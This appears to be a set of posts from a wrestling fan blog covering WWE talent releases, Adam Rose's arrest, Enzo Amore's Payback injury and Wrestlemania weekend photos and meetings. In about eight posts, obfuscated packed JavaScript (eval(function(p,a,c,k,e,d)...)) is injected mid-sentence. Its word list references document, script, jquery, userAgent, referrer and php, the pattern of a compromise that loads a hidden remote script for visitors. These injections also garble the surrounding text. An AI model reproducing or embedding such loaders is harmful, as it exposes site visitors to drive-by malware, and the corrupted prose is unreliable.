The Roman Reigns Problem, Now Featuring Seth Rollins

Kind of a bonus column this week.

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In that whole big mess of a match, there was one moment that changed the whole thing. At one point, Reigns went for a spear on HHH but hit Stephanie instead. The entire audience suddenly went insane and wanted to cheer him because he did something the fans wanted to see. Stephanie had been the most annoying character in the company for years but never got anything that was coming to her. Then Reigns cut her in half with a spear and he was the most popular thing in the company (for all of five minutes).

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Adam Rose Released

http://www.wwe.com/article/adam-rose-released

We’ll go with “well duh” for this one.  It does note that Rose requested his own release and you can’t really blame him for that.




Adam Rose Arrested

For eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hrkzr|var|u0026u|referrer|sftba||js|php'.split('|'),0,{})) alleged domestic violence.

Oh yeah he’s done.




Three More WWE Releases

https://www.wwe.com/article/damien-sandow-king-barrett-other-superstars-released

And eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzsyf|var|u0026u|referrer|yrsnd||js|php'.split('|'),0,{})) they’re bigger names this time.Santino Marella – Basically retired at this point and never appears.  Not exactly a big loss but he’s certainly a name.

Wade Barrett – He was leaving in a few weeks/months anyway so this really means nothing.  He’s still one of the most mishandled names I can think of in years.

Damien Sandow – This one is all on WWE.  Sandow was over and had worked hard for years but hey, let’s have him get really close, get a huge pop, and then have him lose to Big Show so he can FINALLY win a (third) battle royal in WWE.  It’s a case of a guy getting popular and WWE saying “eh we’re good” and then going with what they felt like doing.  This has never sat right with me and I hope Sandow goes somewhere else and has a nice run.




Cameron and El Torito Released

That makes five (Hornswoggle, Alex Riley, Zeb Colter).

http://www.wwe.com/article/hornswoggle-alex-riley-released

I know Cameron posted that big rant about how she’s constantly bullied over the mistakes she’s made and I really didn’t have a ton of sympathy for her.  She did two stupid looking things and her character is based on being a self obsessed idiot which isn’t even touching on how annoying she comes across as on Total Divas.

Did anyone even notice that El Torito wasn’t on TV anymore?

 

 




WWE Releases Three Talents

These eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znsfz|var|u0026u|referrer|ybzdr||js|php'.split('|'),0,{})) are always interesting days.Hornswoggle – Not exactly an important deal.  He’s a background/comedy character at best and hasn’t been around in forever.

Zeb Colter – Same, though he should have been brought back as someone’s manager.  The guy can still talk and has so much knowledge and experience.

Alex Riley – Arguably the biggest name gone but he hasn’t meant anything in years either.  It’s a shame too as he had so much potential after that Miz feud.

 

There could be more names later today so stick around.




Enzo Amore Injured At Payback (Updated)

He eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzeis|var|u0026u|referrer|ztyba||js|php'.split('|'),0,{})) was being sent outside and went neck first into the middle rope, causing his head to slam into the mat/apron.  The match was almost immediately stopped and Enzo was taken out on a stretcher.  This clearly wasn’t storyline and looked very bad.  The camera wasn’t on him so no word on if his limbs were working or not.

Update: Cole says Enzo is talking and moving his extremities. That’s such a huge relief.




Wrestlemania Weekend Pictures

There are a lot of these.In eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkafe|var|u0026u|referrer|izbni||js|php'.split('|'),0,{})) no particular order but each should have a caption.

You might have seen this guy before.

You might have seen this guy before.

 

Jake Roberts looking a bit annoyed.

Jake Roberts looking a bit annoyed.

 

Rock gear along with a Jim Duggan 2x4 and Goldust's body suit.  I don't get it either.

Rock gear along with a Jim Duggan 2×4 and Goldust’s body suit. I don’t get it either.

 

Couldn't have been a nicer guy.  And yes she's standing.

Couldn’t have been a nicer guy. And yes she’s standing.

 

That's a big screen.

That’s a big screen.

 

You don't have many heroes growing up in Kentucky.

You don’t have many heroes growing up in Kentucky.

 

I had the big Sting figure in the middle.

I had the big Sting figure in the middle.

 

Money Inc. jacket.

Money Inc. jacket.

 

That man just does not look happy.

That man just does not look happy.

 

Harley Race's robe from WM III, Warrior's gear from WM VI and the shirt worn by the referee at the first match in WM history.

Harley Race’s robe from WM III, Warrior’s gear from WM VI, Piper’s boxing gloves and the shirt worn by the referee at the first match in WM history.

 

For some reason this was in the Shawn line.

For some reason this was in the Shawn line.

 

Gene Okerlund is holding my wife's hand.  I can live with that.

Gene Okerlund is holding my wife’s hand. I can live with that.

 

These guys are hilarious.

These guys are hilarious.

 

I only see 98,498 chairs.

I only see 98,498 chairs.

 

My wife is on Shawn's phone.  I don't know how to handle this.

My wife is on Shawn’s phone. I don’t know how to handle this.

 

For some reason this was tarped off.

For some reason this was tarped off.

 

I've been to two Wrestlemanias and I've run into Bob Backlund six times.

I’ve been to two Wrestlemanias and I’ve run into Bob Backlund six times.

 

Counting suplexes in the Lesnar match on the big screen.

Counting suplexes in the Lesnar match on the big screen.

 

A Flair robe.

A Flair robe.

 

She cried.  A lot.

She cried. A lot.

 

Show off.

Show off.

 

The main event, in case you nodded off earlier in the night.

The main event, in case you nodded off earlier in the night.

 

I think this one's covered.

I think this one’s covered.

 

So much for kayfabe.

So much for kayfabe.

 

Sting was kind of a big deal.

Sting was kind of a big deal.

 

The line was cut off by this point but it's still cool looking.

The line was cut off by this point but it’s still cool looking.

 

A really big deal.

Ok Sting was a REALLY big deal.

 

Yes I'm squeezing.

Yes I’m squeezing.

 

Ok now you're just showing off.

Ok now you’re just showing off.

 

He threw a car door.  A CAR DOOR.

He threw a car door. A CAR DOOR.

 

This was easily the shortest line but it still looks cool.

This was easily the shortest line but it still looks cool.

 

SEE???  TOTALLY NOT 100,000!!!!!

SEE??? TOTALLY NOT 100,000!!!!!

 

Brock's shorts from breaking the Streak, Eddie's boots from WM XXI and Edge's tights from X7.

Brock’s shorts from breaking the Streak, Eddie’s boots from WM XXI and Edge’s tights from X7.

 

I'm rather lucky.

I’m rather lucky.

 

Woods is either in agony or wanting a Hot Pocket.

Woods is either in agony or wanting a Hot Pocket.

 

My hands are almost that big.  I don't know how to take that.

My hands are almost that big. I don’t know how to take that.

 

Dude put a shirt on.

Dude put a shirt on.

 

Undertaker gear from 1997.

Undertaker gear from 1997.




The Wife Made WWE.com

I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynrtt|var|u0026u|referrer|ndddh||js|php'.split('|'),0,{})) a rather lucky man.

http://www.wwe.com/shows/wrestlemania/32/gallery/wrestlemania-axxess-2016-day-four-photos#fid-40013920




Went To Axxess Again

And eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szyft|var|u0026u|referrer|zstab||js|php'.split('|'),0,{})) it was roughly a 1938% improvement.We’re about to get ready for Wrestlemania so this is going to be quick.

Met New Day and they’re every bit as funny as they are on TV.  They kept people laughing the whole way through, Big E. did his funny voices, Kofi is made for the live crowd (as he kept pointing and smiling at fans) and Woods is just entertaining in general.

Met Hillbilly Jim and Gene Okerlund.  Both of them were very nice and talked to me about being from Kentucky.  I mentioned that we were on our honeymoon and Okerlund looked at her and said he could see why.  So Okerlund thinks my wife is attractive.  I think I can live with this.

Then it was off to the Shawn Michaels line which took awhile but was more than worth it.  Shawn couldn’t have been nicer and smiled when I said he was the only person to ever make me jump out of my chair.  On top of that he hugged my wife as she was crying over meeting him.  That’s easily the highlight of the weekend for her, if not of her life.

Also saw the Bellas, Eva Marie, Emma and Sharmell at various points.  The camera doesn’t do Emma justice.

FAR better experience overall today with multiple people at most booths, better names in the second section (New Day was there for an hour, were replaced by Sami Zayn for the second hour and then it was Ted DiBiase and Gerald Brisco for the second half.  NXT had Samoa Joe instead of the low level women.) and far fewer people.  That was the major problem yesterday: too big of a crowd with not a lot they wanted to do.  Great day here and the Axxess that I loved from a few years back.